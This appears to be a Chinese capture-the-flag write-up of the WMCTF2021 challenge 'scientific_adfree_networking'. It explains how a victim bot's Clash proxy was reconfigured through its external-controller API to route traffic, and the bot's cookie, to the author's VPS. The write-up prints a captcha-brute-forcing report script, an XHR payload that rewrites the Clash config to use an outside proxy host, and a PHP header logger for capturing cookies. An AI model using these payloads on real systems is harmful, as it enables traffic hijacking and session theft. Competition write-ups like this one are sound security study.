WMCTF2021失之交臂的一道题,蛮有意思的
scientific_adfree_networking
打开一个blog,有一条需要登录才可见的Note to self(secret!)
然后看了一下其他信息,简单来说就是tom使用了clash进行屏蔽广告,/static/files/clash.conf
可以下载到他使用的配置文件,里面只有屏蔽规则,没有配置代理
然后report
路由可以给tom发信息,tom会去看(后面打了半天,客服才说每看完一个请求都会重启clash,然后才把多次请求写在一起)
想了一下这里应该没法xsleak,看他专门描述开了clash,就想能不能控制修改clash的配置文件(看配置文件的时候看到有个external controller API是可控的),然后代理到vps看能不能拿tom的cookie
然后找可控点的时候看到了logout
路由可以进行跳转
于是可以控制一下xhr,打external controller API进行修改,看了一下api文档:
https://clash.gitbook.io/doc/restful-api
除了configs
路由的PUT
可以控制path重新加载配置文件,没啥可用的
然后就去撕源码,发现同一个路由下居然还有个payload
参数可以控制,直接从传输的字节加载配置文件:
https://github.com/Dreamacro/clash/blob/47044ec0d81dc0dc92a2dafc834f2b658177dee8/hub/route/configs.go#L112
然后就直接修改配置文件使用http代理,代理到vps上,后来发现并没有什么卵用
一开始直接nc监听,但是它会先用CONNECT
请求判断是否连接成功,所以得伪造一个真代理随便代理到哪都行,然后vps还配置了host防止它请求失败:
1
|
127.0.0.1 blog.tomswebsite.com
|
但是它第二次http请求打过来还是没有cookie。。
然后又去看源码找了一下可控文件的地方,api给出的就只有configs
的path那个可以控制绝对路径加载配置文件,加载其他文件可以报错泄漏4 5个字符
还有配置文件中proxy-providers
的配置,也是指定路径加载配置文件,详细配置:
https://github.com/Dreamacro/clash/wiki/configuration
请求脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
import hashlib
import random
import requests
import re
path = "logout?next=http://159.75.82.124:9001/1.html"
body = "a"
s = requests.Session()
report_url="http://eci-2zeawo463qlngdj4qxbv.cloudeci1.ichunqiu.com:8888/report"
# proxies = {"http" : "http://127.0.0.1:8080"}
index = s.get(report_url)
gettoken = re.search(r"(==)(.*?)(<input)",index.text)
token = gettoken.group(2)
for i in range(1, 10000001):
a = hashlib.md5(('WMCTF_'+str(i)).encode()).hexdigest()[:6]
if a == token:
print('WMCTF_'+str(i))
break
data = {
"title": path,
"body": body,
"captcha": 'WMCTF_'+str(i)
}
resp = s.post(index.url,data=data)
gettoken = re.search(r"(class=\"flash\">)(.*?)(</div>)",resp.text)
result = gettoken.group(2)
print(result)
|
xhr:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<script>
var xhr1;
var xhr2;
var xhr3;
var xhr4;
xhr1=new XMLHttpRequest();
xhr1.open("PUT","http://127.0.0.1:9090/configs",false);
xhr1.setRequestHeader('Content-Type','application/json')
xhr1.send(`{"payload":"mixed-port: 1080\\nallow-lan: false\\nmode: Rule\\nlog-level: silent\\nexternal-controller: '127.0.0.1:9090'\\nproxies:\\n - name: \\"test\\"\\n type: http\\n server: 159.75.82.124\\n port: 19000\\nproxy-groups:\\n - name: \\"group1\\"\\n type: select\\n proxies:\\n - test\\nrules:\\n - DOMAIN-SUFFIX,blog.tomswebsite.com,group1\\n - IP-CIDR,127.0.0.0/8,group1"}`);
xhr2=new XMLHttpRequest();
xhr2.open("GET","http://blog.tomswebsite.com:8888/report",false);
xhr2.send();
// xhr3=new XMLHttpRequest();
// xhr3.open("GET","http://127.0.0.1:9090/configs",false);
// xhr3.send();
// xhr4=new XMLHttpRequest();
// xhr4.open("GET","http://159.75.82.124:9001/"+xhr3.responseText,false);
// xhr4.send();
</script>
<?php
function em_getallheaders()
{
$headers = [];
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
$headers = em_getallheaders();
file_put_contents("headers.txt", var_export($headers,true)."\n", FILE_APPEND | LOCK_EX);
?>
|
以上是比赛时的做题记录,当时光顾着看代理服务接收请求的cookie了,没注意代理后的流量emmm,还觉得后续可能没那么简单,肝了一下午后没有再看这道题了
实际上代理转发后的流量是带了cookie的,获取到cookie然后解码登录admin拿到flag